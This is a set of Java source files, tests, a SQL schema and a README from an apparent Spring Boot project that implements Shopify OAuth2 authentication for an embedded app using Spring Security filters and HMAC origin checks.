.authorizationGrantType(AuthorizationGrantType.AUTHORIZATION_CODE)
.redirectUriTemplate("{baseUrl}/login/app/oauth2/code/{registrationId}")
.scope("read_inventory", "write_inventory", "read_products", "write_products")
.authorizationUri("https://{shop}/admin/oauth/authorize")
.tokenUri("https://{shop}/admin/oauth/access_token")
.clientName("Shopify")
.build();
}
public static class TestAuthorizationCodeTokenResponseClient implements OAuth2AccessTokenResponseClient<OAuth2AuthorizationCodeGrantRequest> {
public OAuth2AccessTokenResponse getTokenResponse(OAuth2AuthorizationCodeGrantRequest authorizationGrantRequest) {
return null;
}
}
}
<file_sep>package com.lm.security.web;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.crypto.keygen.Base64StringKeyGenerator;
import org.springframework.security.crypto.keygen.StringKeyGenerator;
import org.springframework.security.oauth2.client.authentication.OAuth2AuthenticationToken;
import org.springframework.security.oauth2.client.registration.ClientRegistration;
import org.springframework.security.oauth2.client.registration.ClientRegistrationRepository;
import org.springframework.security.oauth2.client.web.OAuth2AuthorizationRequestResolver;
import org.springframework.security.oauth2.core.AuthorizationGrantType;
import org.springframework.security.oauth2.core.endpoint.OAuth2AuthorizationRequest;
import org.springframework.security.oauth2.core.endpoint.OAuth2ParameterNames;
import org.springframework.security.web.util.UrlUtils;
import org.springframework.security.web.util.matcher.AntPathRequestMatcher;
import org.springframework.web.util.UriComponentsBuilder;
import com.lm.security.service.TokenService;
/*
* This class is replaces the default DefaultOAuth2AuthorizationRequestResolver
* It's called by OAuth2AuthorizationRequestRedirectFilter to save the OAuth2AuthorizationRequest
* when this app is being installed (embedded app) or if the user wants to log in (directly from the browser).
*
* By default, this class will match any request that matches `/install/shopify` and is not authenticated
* with an OAuth2AuthenticationToken.
*
* Its resolve(...) returns null to override the filter's default redirection behavior, EXCEPT when
* no shop parameter is provided. An implicit OAuth2AuthorizationRequest is returned so that the filter
* will handle the redirect. Since it's implicit, it will not be saved by the filter.
*
* This resolver...
* 1. Looks for a ClientRegistration that matches "/install/shopify".
* 2. Creates an OAuth2AuthorizationRequest:
* - clientId: from ClientRegistration
* - authorizationUri: uses the "shop" parameter in the request to populate the uri template variable in
* the authorizationUri stored in the ProviderDetails in the ClientRegistration
* (default: "https://{shop}/admin/oauth/authorize")
* - redirectUri: expands and populates the uri template in ClientRegistration
* (default: "{baseUrl}/login/app/oauth2/code/shopify")
* - scopes: from ClientRegistration
* - state: generated by Base64StringKeyGenerator
* - additionalParameters: contains the registrationId (e.g. "shopify"), and the shop name
* 3. Uses the custom ShopifyHttpSessionOAuth2AuthorizationRequestRepository to save the OAuth2AuthorizationRequest
* in the HttpSession.
* 4. Delegates to ShopifyRedirectStrategy to set 2 request attributes that contain the 2 authorizationUris
* that the Shopify-provided Javascript needs to redirect: one for redirecting from the "parent window" and
* another for redirecting from an iFrame.
*
*/
public class ShopifyOAuth2AuthorizationRequestResolver implements OAuth2AuthorizationRequestResolver {
public static final String SHOPIFY_SHOP_PARAMETER_KEY_FOR_TOKEN = "shop"; // must match template variable in ClientRegistration token_uri
private ClientRegistrationRepository clientRegistrationRepository;
private AntPathRequestMatcher authorizationRequestMatcher;
private final StringKeyGenerator stateGenerator = new Base64StringKeyGenerator(Base64.getUrlEncoder());
private final ShopifyRedirectStrategy authorizationRedirectStrategy = new ShopifyRedirectStrategy();
private final ShopifyHttpSessionOAuth2AuthorizationRequestRepository customAuthorizationRequestRepository;
private final String loginUri;
public ShopifyOAuth2AuthorizationRequestResolver(ClientRegistrationRepository clientRegistrationRepository,
ShopifyHttpSessionOAuth2AuthorizationRequestRepository customAuthorizationRequestRepository,
String authorizationRequestBaseUri, String loginUri) {
this.clientRegistrationRepository = clientRegistrationRepository;
this.customAuthorizationRequestRepository = customAuthorizationRequestRepository;
this.authorizationRequestMatcher = new AntPathRequestMatcher(
authorizationRequestBaseUri + "/{registrationId}");
this.loginUri = loginUri;
}
/*
* In DefaultOAuth2AuthorizationRequestResolver, this method is expected to redirect the user to log in
*
*/
@Override
public OAuth2AuthorizationRequest resolve(HttpServletRequest request) {
// is already properly authenticated, skip
if(isAuthenticated(request)) {
return null;
}
// extract the registrationId (ex: "shopify")
String registrationId;
if (this.authorizationRequestMatcher.matches(request)) {
registrationId = this.authorizationRequestMatcher
.extractUriTemplateVariables(request).get("registrationId");
if(registrationId == null || registrationId.isEmpty()) {
throw new IllegalArgumentException("Invalid registration id");
}
} else {
return null;
}
// At this point, either the request came from Shopify, or make sure shop param was provided
String shopName = null;
shopName = this.getShopName(request);
if(shopName == null || shopName.isEmpty() || registrationId == null) {
// shop name is required, or registrationId
// trigger a redirect
return redirectToLogin();
}
// obtain a ClientRegistration for extracted registrationId
ClientRegistration clientRegistration = this.clientRegistrationRepository.findByRegistrationId(registrationId);
if (clientRegistration == null) {
throw new IllegalArgumentException("Invalid Client Registration: " + registrationId);
}
// only the Authorization code grant is accepted
OAuth2AuthorizationRequest.Builder builder;
if (AuthorizationGrantType.AUTHORIZATION_CODE.equals(clientRegistration.getAuthorizationGrantType())) {
builder = OAuth2AuthorizationRequest.authorizationCode();
} else {
throw new IllegalArgumentException("Invalid Authorization Grant Type (" +
clientRegistration.getAuthorizationGrantType().getValue() +
") for Client Registration: " + clientRegistration.getRegistrationId());
}
String redirectUriStr = this.expandRedirectUri(request, clientRegistration);
Map<String, Object> additionalParameters = new HashMap<>();
additionalParameters.put(OAuth2ParameterNames.REGISTRATION_ID, clientRegistration.getRegistrationId());
additionalParameters.put(SHOPIFY_SHOP_PARAMETER_KEY_FOR_TOKEN, shopName);
OAuth2AuthorizationRequest authorizationRequest = builder
.clientId(clientRegistration.getClientId())
.authorizationUri(this.generateAuthorizationUri(request, clientRegistration.getProviderDetails().getAuthorizationUri()))
.redirectUri(redirectUriStr)
.scopes(clientRegistration.getScopes())
.state(this.stateGenerator.generateKey())
.additionalParameters(additionalParameters)
.build();
// Save the OAuth2AuthorizationRequest
customAuthorizationRequestRepository.saveAuthorizationRequest(authorizationRequest, request);
// DO NOT redirect, build redirecturi: DefaultRedirectStrategy
authorizationRedirectStrategy.saveRedirectAuthenticationUris(request, authorizationRequest);
return null;
}
/* Method called by the OAuth2RequestRedirectFilter to handle a ClientAuthorizationRequiredException
* and create a redirect uri to the authorization server.
* This scenario should never occur, so return null.
*/
@Override
public OAuth2AuthorizationRequest resolve(HttpServletRequest req, String registrationId) {
return null;
}
private String expandRedirectUri(HttpServletRequest request, ClientRegistration clientRegistration) {
// Supported URI variables -> baseUrl, registrationId
// EX: "{baseUrl}/oauth2/code/{registrationId}"
Map<String, String> uriVariables = new HashMap<>();
uriVariables.put("registrationId", clientRegistration.getRegistrationId());
System.out.println("FULL URL: "+ UrlUtils.buildFullRequestUrl(request));
String baseUrl = UriComponentsBuilder.fromHttpUrl(UrlUtils.buildFullRequestUrl(request))
.replaceQuery(null)
.replacePath(request.getContextPath())
.build()
.toUriString();
uriVariables.put("baseUrl", baseUrl);
return UriComponentsBuilder.fromUriString(clientRegistration.getRedirectUriTemplate())
.buildAndExpand(uriVariables)
.toUriString();
}
/*
* Expects a shop request parameter to generate the authorization uri
*/
private String generateAuthorizationUri(HttpServletRequest request, String authorizationUriTemplate) {
String shopName = this.getShopName(request);
Map<String, String> uriVariables = new HashMap<>();
uriVariables.put(SHOPIFY_SHOP_PARAMETER_KEY_FOR_TOKEN, shopName);
String authorizationUri = UriComponentsBuilder
.fromHttpUrl(authorizationUriTemplate)
.buildAndExpand(uriVariables)
.toUriString();
return authorizationUri;
}
private String getShopName(HttpServletRequest request) {
String shopName = request.getParameter(TokenService.SHOP_ATTRIBUTE_NAME);
if(shopName == null || shopName.isEmpty()) {
return null;
}
return shopName;
}
private boolean isAuthenticated(HttpServletRequest request) {
if(SecurityContextHolder.getContext().getAuthentication() instanceof OAuth2AuthenticationToken) {
return true;
}
return false;
}
// return an OAuth2AuthorizationRequest so OAuth2AuthorizationRequestRedirectFilter
// will redirect
private OAuth2AuthorizationRequest redirectToLogin() {
// clear all authentication
if(SecurityContextHolder.getContext().getAuthentication() != null) {
SecurityContextHolder.getContext().setAuthentication(null);
}
// The grant type cannot be AUTHORIZATION_CODE, since we don't want the
// OAuth2AuthorizationRequest saved in the session just yet
OAuth2AuthorizationRequest request = OAuth2AuthorizationRequest.implicit()
.authorizationUri("REDIRECT")
.authorizationRequestUri(this.loginUri) // the redirect uri
.clientId("REDIRECT")
.redirectUri("REDIRECT")
.build();
return request;
}
}
<file_sep>package com.lm.security.filters;
import java.io.IOException;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.oauth2.client.OAuth2AuthorizedClient;
import org.springframework.security.oauth2.client.OAuth2AuthorizedClientService;
import org.springframework.security.oauth2.client.authentication.OAuth2AuthenticationToken;
import org.springframework.security.oauth2.core.user.OAuth2User;
import org.springframework.security.web.util.matcher.AntPathRequestMatcher;
import org.springframework.web.filter.GenericFilterBean;
import com.lm.security.authentication.ShopifyOriginToken;
import com.lm.security.configuration.SecurityBeansConfig;
import com.lm.security.service.TokenService;
import com.lm.security.service.ShopifyStore;
/*
* This filter matches the installation path (/install/shopify) and checks the SecurityContextHolder for a
* ShopifyOriginToken to determine whether this request came from Shopify.
*
* If it did, this filter attempts to find a token for the store and set it as the Authentication.
* By default, it uses ShopifyOAuth2AuthorizedClientService to load the OAuth2AuthorizedClient.
*
* This filter ensures that after this filter, the request has no ShopifyOriginToken.
* The Authentication will either be null, or an OAuth2AuthenticationToken.
*/
public class ShopifyExistingTokenFilter extends GenericFilterBean {
private OAuth2AuthorizedClientService clientService;
private AntPathRequestMatcher requestMatcher;
private static final String REGISTRATION_ID = SecurityBeansConfig.SHOPIFY_REGISTRATION_ID;
public ShopifyExistingTokenFilter(OAuth2AuthorizedClientService clientService, String loginEndpoint) {
this.clientService = clientService;
this.requestMatcher = loginEndpoint.endsWith(REGISTRATION_ID) ? new AntPathRequestMatcher(loginEndpoint) : new AntPathRequestMatcher(loginEndpoint + "/" + REGISTRATION_ID);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
if(!requestMatcher.matches(req)) {
chain.doFilter(request, response);
return;
}
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
ShopifyOriginToken originToken = null;
OAuth2AuthenticationToken oauth2Token = null;
if(auth != null && auth instanceof ShopifyOriginToken) {
// this request is to the installation path from an embedded app
originToken = (ShopifyOriginToken)auth;
if(originToken.isFromShopify()) {
oauth2Token = this.getToken(req);
if(oauth2Token != null) {
this.setToken(oauth2Token);
} else {
// If the store has not been installed, ShopifyOriginToken is still in the SecurityContextHolder
// Remove it
clearAuthentication();
}
}
// just in case the ShopifyOriginToken indicates the req. isn't from Shopify
else {
clearAuthentication();
}
} else {
// if there's no ShopifyOriginToken, leave whatever Authentication object is there
}
chain.doFilter(request, response);
}
private void clearAuthentication() {
if(SecurityContextHolder.getContext().getAuthentication() instanceof ShopifyOriginToken) {
SecurityContextHolder.getContext().setAuthentication(null);
}
}
private void setToken(OAuth2AuthenticationToken oauth2Token) {
SecurityContextHolder.getContext().setAuthentication(oauth2Token);
}
private OAuth2AuthenticationToken getToken(HttpServletRequest request) {
String shopName = request.getParameter(TokenService.SHOP_ATTRIBUTE_NAME);
if(shopName == null || shopName.isEmpty()) {
return null;
}
OAuth2AuthorizedClient client = clientService.loadAuthorizedClient(REGISTRATION_ID, shopName);
if(client == null) {
// this store "has not been installed", or salt and passwords are outdated
return null;
}
// create an OAuth2AuthenticationToken
OAuth2AuthenticationToken oauth2Authentication = new OAuth2AuthenticationToken(
transformAuthorizedClientToUser(client),
null,
REGISTRATION_ID);
return oauth2Authentication;
}
private OAuth2User transformAuthorizedClientToUser(OAuth2AuthorizedClient client) {
String apiKey = client.getClientRegistration().getClientId();
return new ShopifyStore(client.getPrincipalName(),
client.getAccessToken().getTokenValue(), apiKey);
}
}
<file_sep>package com.lm;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class ShopifyEmbeddedAppSpringBootApplication {
public static void main(String[] args) {
SpringApplication.run(ShopifyEmbeddedAppSpringBootApplication.class, args);
}
}
<file_sep># End-of-life
Shopify authorization configures the Spring Security filter chain more than had been expected. All the security logic can be separated into a JAR that automatically configures the importing application to function as a Shopify app. For example, to configure landing pages you shouldn't have to go in to the Thymeleaf files the current project provides.
Check out the [new project](https://github.com/natf17/shopify-embedded-app).
# Getting started
***************************************
How can we use Shopify's default OAuth offline access token in a Spring Boot app, leveraging the power of Spring Security? This working implementation only requires a few lines in the application.properties file for it to work. It's a server that authenticates with Shopify and, upon successful authentication, keeps the OAuth token, store name, and api key in a session object, which can be used in a variety of ways, such as a single page web application (or React/Polaris).
We assume you know your way around the Shopify developer site to create apps and development stores. Once you have a development store, create a private app.
1. Fill out "App name" with the name of your choice.
2. Add your "App URL":
- *https://{your-hostname}/install/shopify*
3. For "Whitelisted redirection URL(s)" add:
- *https://{your-hostname}/login/app/oauth2/code/shopify*
Now that you've created your app, you're given an API key and an API key secret.
4. Copy the API key and API key secret from the Shopify site.
5. Store them, along with the desired scope, in `application.properties`:
```
shopify.client.client_id=your-key
shopify.client.client_secret=your-key-secret
shopify.client.scope=scope1,scope2,...
```
6. Choose the salt and password that the Spring encryptors will use to encrypt the token and add them to your `application.properties`:
```
lm.security.cipher.password=<PASSWORD>
lm.security.cipher.salt=your-salt
```
7. Whether you're using ngrok, or your own server, make sure you use HTTPS to comply with Shopify's security requirements.
8. Make sure your app is running and live at the hostname you specified.
9. That's it!
Try out the following endpoints from your browser:
- */install/shopify?shop={your-store-name.myshopify.com}*: to log in (and install the app on the given store)
- */init*: to log in by entering your store in a form
- */products*: a secure endpoint
- */logout*: to log out
For example, say you have a store with the name "mysamplestore".
1. Go to *https://{your-hostname}/install/shopify?shop=mysamplestore.myshopify.com*
2. Follow the instruction on the browser to authenticate.
3. If this is the first time, install the store.
4. If you go to the Shopify Admin for "mysamplestore", under Apps, you should see the new app you installed.
5. Click on the app from the Shopify Admin.
6. This should load the embedded app; by default, you should see "WELCOME".
You can change the defaults in the `SecurityConfig` class in the `com.lm.security.configuration` package.
Note: Once the app is installed, it expects to find a token in the database. If it is lost (for example if the database is in-memory and the server restarts), you will not be able to log in via the embedded app. Access the app directly from a browser, which will trigger the OAuth redirects and save the token in the database. You should then be able to log in as an embedded app.
Note: This Spring Security application requires the Java Cryptography Encryption policy files for encryption.
See https://www.oracle.com/technetwork/java/javase/downloads/jce-all-download-5170447.html
***************************************
# Under the hood
***************************************
A request to */install/shopify* will either:
- redirect to */init* if the request is missing a shop parameter
- pass through with a `OAuth2AuthenticationToken` if the store exists and this is an embedded app
- initiate the OAuth flow. If the request is not coming from an embedded app (regardless of whether or not this app has been installed), or if the request came from an embedded app (and this app has not been installed), the `ShopifyOAuth2AuthorizationRequestResolver` and its helper classes prepare for the first step of the OAuth flow by saving an `OAuth2AuthorizationRequest` in the session, and creating and saving the redirect uris as request attributes for retrieval from the javascript fragment that will redirect.
Assuming the redirect takes place, the OAuth flow begins.
The `OAuth2LoginAuthenticationFilter`/`AbstractAuthenticationProcessingFilter` matches the default *{baseUrl}/login/app/oauth2/code/shopify* and...
1. Retrieves and removes the `OAuth2AuthorizationRequest` saved by `ShopifyHttpSessionOAuth2AuthorizationRequestRepository`
2. Builds an `OAuth2AuthorizationResponse` from the Shopify response parameters
3. Builds an `OAuth2AuthorizationExchange` that contains the `OAuth2AuthorizationRequest` and `OAuth2AuthorizationResponse`
4. Uses the `OAuth2AuthorizationExchange` along with the corresponding Shopify `ClientRegistration` to build an `OAuth2LoginAuthenticationToken`
5. Delegates to `OAuth2LoginAuthenticationProvider`, which returns a `OAuth2LoginAuthenticationToken`
6. Uses the `OAuth2LoginAuthenticationToken` to create an `OAuth2AuthenticationToken` and an `OAuth2AuthorizedClient`
7. Uses the default `AuthenticatedPrincipalOAuth2AuthorizedClientRepository` (which uses the custom `ShopifyOAuth2AuthorizedClientService`) to save the `OAuth2AuthorizedClient`
8. Calls `sessionStrategy.onAuthentication(...)` on the default `NullAuthenticatedSessionStrategy` (does nothing)
9. Calls `successfulAuthentication(...)` which sets the authentication in the `SecurityContextHolder`, takes care of other services, and finally delegates to the custom `NoRedirectSuccessHandler` successHandler, which forwards to *login/app/oauth2/code*.
The default `OAuth2LoginAuthenticationProvider`...
1. Uses a custom `OAuth2AccessTokenResponseClient`, `ShopifyAuthorizationCodeTokenResponseClient`, to get an `OAuth2AccessTokenResponse`
2. Asks the custom implementation of `OAuth2UserService<OAuth2UserRequest, OAuth2User>`, `DefaultShopifyUserService`, to load the `OAuth2User`.
3. Returns a `OAuth2LoginAuthenticationToken` using the `ClientRegistration`, `AuthorizationExchange`, `OAuth2User`, ...
<file_sep>package com.lm.security.filters;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.security.access.AccessDeniedException;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.oauth2.client.authentication.OAuth2AuthenticationToken;
import org.springframework.security.web.access.AccessDeniedHandler;
import org.springframework.security.web.access.AccessDeniedHandlerImpl;
import org.springframework.security.web.util.matcher.AntPathRequestMatcher;
import com.lm.security.authentication.ShopifyOriginToken;
import com.lm.security.authentication.ShopifyVerificationStrategy;
/*
* This filter checks the request to see if it came from Shopify.
* It only checks the paths passed in via the constructor.
* It delegates to ShopifyVerificationStrategy to:
* - check the HMAC (/install/** and /login/app/oauth2/code/**)
* - check for a valid nonce (/login/app/oauth2/code/**)
*
* It never replaces a OAuth2AuthenticationToken if it's the Authentication object for the session.
*
* If the request matches the authorizationPath (/login/app/oauth2/code/**), it must be from Shopify and
* contain the valid nonce. If not, it uses accessDeniedHandler to generate a 403 error.
*
* For any other matching path (/install/**), it populates the SecurityContext with a ShopifyOriginToken
* if and only if it came from Shopify.
*
* Also, for every request that matches the installation path (/install/**) and comes from Shopify,
* a session attribute is set to note that this is an embedded app:
*
* session.addAttribute("SHOPIFY_EMBEDDED_APP", true);
*
* If not, it's removed.
*
*/
public class ShopifyOriginFilter implements Filter {
private AntPathRequestMatcher mustComeFromShopifyMatcher;
private List<AntPathRequestMatcher> applicablePaths;
private ShopifyVerificationStrategy shopifyVerificationStrategy;
private AccessDeniedHandler accessDeniedHandler = new AccessDeniedHandlerImpl();
private String SHOPIFY_EMBEDDED_APP = "SHOPIFY_EMBEDDED_APP";
public ShopifyOriginFilter(ShopifyVerificationStrategy shopifyVerificationStrategy, String authorizationPath, String... matchedPaths) {
this.mustComeFromShopifyMatcher = new AntPathRequestMatcher(authorizationPath);
this.shopifyVerificationStrategy = shopifyVerificationStrategy;
applicablePaths = new ArrayList<>();
applicablePaths.add(mustComeFromShopifyMatcher);
Arrays.stream(matchedPaths).forEach(i -> applicablePaths.add(new AntPathRequestMatcher(i)));
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
boolean mustBeFromShopify = false;
boolean comesFromShopify = false;
boolean isAlreadyAuthenticated = false;
if(!applyFilter(request)) {
chain.doFilter(request, response);
return;
}
// this filter will be applied
mustBeFromShopify = mustComeFromShopifyMatcher.matches((HttpServletRequest)request);
comesFromShopify = isShopifyRequest(request);
isAlreadyAuthenticated = isAlreadyAuthenticated();
if(mustBeFromShopify) {
if(comesFromShopify && hasValidNonce(request)) {
if(!isAlreadyAuthenticated) {
SecurityContextHolder.getContext().setAuthentication(new ShopifyOriginToken(true));
}
} else {
// do not set any Authentication
// the path must be .authenticated()
accessDeniedHandler.handle((HttpServletRequest)request, (HttpServletResponse)response, new AccessDeniedException("This request must come from Shopify"));
return;
}
} else {
if(comesFromShopify) {
setEmbeddedApp((HttpServletRequest)request);
if(!isAlreadyAuthenticated) {
SecurityContextHolder.getContext().setAuthentication(new ShopifyOriginToken(true));
}
} else {
removeEmbeddedApp((HttpServletRequest)request);
}
}
chain.doFilter(request, response);
}
/*
*
* Uses ShopifyVerificationStrategy to...
*
* 1. Remove hmac parameter from query string
* 2. Build query string
* 3. HMAC-SHA256(query)
* 4. Is (3) = hmac value?
*
*/
private boolean isShopifyRequest(ServletRequest request) {
return shopifyVerificationStrategy.isShopifyRequest((HttpServletRequest)request);
}
private boolean hasValidNonce(ServletRequest request) {
return shopifyVerificationStrategy.hasValidNonce((HttpServletRequest)request);
}
private boolean isAlreadyAuthenticated() {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
if(auth instanceof OAuth2AuthenticationToken) {
return true;
}
return false;
}
// should apply the filter if the request matches
// any path passed in to this filter
private boolean applyFilter(ServletRequest request) {
HttpServletRequest req = (HttpServletRequest)request;
boolean match = this.applicablePaths.stream().anyMatch(i -> i.matches(req));
return match;
}
private void setEmbeddedApp(HttpServletRequest req) {
HttpSession session = req.getSession(false);
if(session != null) {
session.setAttribute(SHOPIFY_EMBEDDED_APP, true);
}
}
private void removeEmbeddedApp(HttpServletRequest req) {
HttpSession session = req.getSession(false);
if(session != null) {
session.removeAttribute(SHOPIFY_EMBEDDED_APP);
}
}
public void setAccessDeniedHandler(AccessDeniedHandler handler) {
this.accessDeniedHandler = handler;
}
}<file_sep>/* StoreAccessTokens
* ---------------------------------------------------------------------------------------------------------------------------------------------|
* | id | shop | access_token | salt | scope |
* |--------------------------------------------------------------------------------------------------------------------------------------------|
* | 4324 | "lmdev.myshopify.com" | "tuyiujhvbgvhgvjyj7676tig76gi<PASSWORD>" | "sfjhrgmjshrgjhskjrh" | "read_inventory,write_inventory" |
* |____________________________________________________________________________________________________________________________________________|
*
*/
CREATE TABLE STOREACCESSTOKENS(
id BIGINT NOT NULL IDENTITY,
shop VARCHAR(50) NOT NULL,
access_token VARCHAR(100) NOT NULL,
salt VARCHAR(100) NOT NULL,
scope VARCHAR(200) NOT NULL,
);<file_sep>package com.lm.security.service;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.Map;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.oauth2.core.user.OAuth2User;
// stores the Access Token as an attribute
public class ShopifyStore implements OAuth2User, Serializable {
/**
*
*/
private static final long serialVersionUID = -912952033860273123L;
public static final String ACCESS_TOKEN_KEY = "shopify_access_token";
public static final String API_KEY = "shopify_client_api_key";
private final String name;
private final Collection<? extends GrantedAuthority> authorities;
private final Map<String, Object> attributes;
public ShopifyStore(String name, String accessToken, String apiKey) {
this.name = name;
this.attributes = new HashMap<>();
this.attributes.put(ACCESS_TOKEN_KEY, accessToken);
this.attributes.put(API_KEY, apiKey);
this.authorities = new ArrayList<>();
}
public ShopifyStore(String name, Collection<? extends GrantedAuthority> authorities, Map<String, Object> attributes) {
this.name = name;
this.authorities = authorities != null ? authorities : new ArrayList<>();
this.attributes = attributes != null ? attributes : new HashMap<>();
}
@Override
public String getName() {
return this.name;
}
@Override
public Collection<? extends GrantedAuthority> getAuthorities() {
return this.authorities;
}
@Override
public Map<String, Object> getAttributes() {
return this.attributes;
}
}
<file_sep>package com.lm.security.oauth2.integration;
import static org.hamcrest.CoreMatchers.containsString;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.redirectedUrlPattern;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.TestPropertySource;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.MockMvc;
import com.lm.ShopifyEmbeddedAppSpringBootApplication;
import com.lm.security.configuration.SecurityConfig;
import com.lm.security.oauth2.integration.config.TestConfig;
/*
* Test several endpoints to make sure that either the user is redirected or
* the oauth2 login flow is commenced.
*
* Test preconditions:
*
* 1. ClientRegistration ("shopify")
* 2. InMemoryClientRegistrationRepository
* 3. OAuth2AccessTokenResponseClient<OAuth2AuthorizationCodeGrantRequest> (mock)
*/
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT, classes= {ShopifyEmbeddedAppSpringBootApplication.class, TestConfig.class})
@AutoConfigureMockMvc
@TestPropertySource(locations="classpath:test-application.properties")
public class NotFromShopifyRequests {
@Autowired
private MockMvc mockMvc;
private static final String INSTALL_PATH = SecurityConfig.INSTALL_PATH + "/shopify";
private static final String LOGIN_ENDPOINT = SecurityConfig.LOGIN_ENDPOINT;
public static final String AUTHORIZATION_REDIRECT_PATH = SecurityConfig.AUTHORIZATION_REDIRECT_PATH;
/*
* Should redirect if the request doesn't come from Shopify and no shop parameter is included
*/
@Test
public void whenShopParamNotPresentThenRedirectToShopify() throws Exception {
this.mockMvc.perform(get(INSTALL_PATH))
.andExpect(redirectedUrlPattern("/**" + LOGIN_ENDPOINT));
}
/*
* Should provide redirection urls for JS if the request doesn't come from Shopify but a shop parameter is included
*/
@Test
public void whenShopParamPresentThenJSRedirect() throws Exception {
this.mockMvc.perform(get(INSTALL_PATH + "?shop=test.myshopify.com"))
.andExpect(content().string(containsString("var redirectFromParentPath = 'https://test.myshopify.com/admin/oauth/authorize?client_id=testId&redirect_uri=https://localhost/login/app/oauth2/code/shopify&scope=read_inventory,write_inventory,read_products,write_products&state=")))
.andExpect(content().string(containsString("var redirectFromIFramePath = '/oauth/authorize?client_id=testId&redirect_uri=https://localhost/login/app/oauth2/code/shopify&scope=read_inventory,write_inventory,read_products,write_products&state=")));
}
/*
* The authorization endpoint MUST be invoked by Shopify ONLY
*/
@Test
public void whenAuthEndpointThenFail() throws Exception {
this.mockMvc.perform(get(AUTHORIZATION_REDIRECT_PATH))
.andExpect(status().is4xxClientError());
}
/*
* Access some other protected resource.
* Since we are not authenticated, authentication entry point
* should redirect to LOGIN_ENDPOINT
*/
@Test
public void whenProtectedResourceThenRedirect() throws Exception {
this.mockMvc.perform(get("/products"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrlPattern("**" + LOGIN_ENDPOINT));
}
/*
* Access LOGIN_ENDPOINT
* Should retuen 200 if we are not authenticated
*/
@Test
public void whenLoginThenOk() throws Exception {
this.mockMvc.perform(get(LOGIN_ENDPOINT))
.andExpect(status().is2xxSuccessful());
}
}
<file_sep>package com.lm.security.service;
import org.springframework.security.oauth2.client.userinfo.OAuth2UserRequest;
import org.springframework.security.oauth2.client.userinfo.OAuth2UserService;
import org.springframework.security.oauth2.core.OAuth2AuthenticationException;
import org.springframework.security.oauth2.core.user.OAuth2User;
import com.lm.security.web.ShopifyOAuth2AuthorizationRequestResolver;
/*
* Replaces DefaultOAuth2UserService.
*
* This class is called by OAuth2LoginAuthenticationProvider when creating the OAuth2LoginAuthenticationToken.
*
* Since the default OAuth2LoginAuthenticationProvider sets the OAuth2User as the principal,
* this class instantiates a ShopifyStore that contains:
* 1. the shop name as the "name' of the principal
* 2. the api key as an additional attribute
* 3. the the access token as an additional attribute
*
* Note: the OAuth2UserRequest has the shop parameter because our custom ShopifyAuthorizationCodeTokenResponseClient
* stored it in the OAuth2AccessTokenResponse, which was used to create the OAuth2UserRequest.
*
*/
public class DefaultShopifyUserService implements OAuth2UserService<OAuth2UserRequest, OAuth2User> {
@Override
public OAuth2User loadUser(OAuth2UserRequest userRequest) throws OAuth2AuthenticationException {
Object shopName = userRequest.getAdditionalParameters().get(ShopifyOAuth2AuthorizationRequestResolver.SHOPIFY_SHOP_PARAMETER_KEY_FOR_TOKEN);
String apiKey = userRequest.getClientRegistration().getClientId();
return new ShopifyStore((String)shopName, userRequest.getAccessToken().getTokenValue(), apiKey);
}
}
<file_sep>package com.lm.security.oauth2.integration;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.doReturn;
import static org.mockito.Mockito.doThrow;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import java.util.Arrays;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;
import javax.servlet.http.HttpSession;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.ArgumentCaptor;
import org.mockito.ArgumentMatchers;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.http.HttpMethod;
import org.springframework.http.HttpOutputMessage;
import org.springframework.http.client.ClientHttpRequest;
import org.springframework.http.converter.FormHttpMessageConverter;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.mock.web.MockHttpSession;
import org.springframework.security.crypto.encrypt.Encryptors;
import org.springframework.security.crypto.encrypt.TextEncryptor;
import org.springframework.security.crypto.keygen.KeyGenerators;
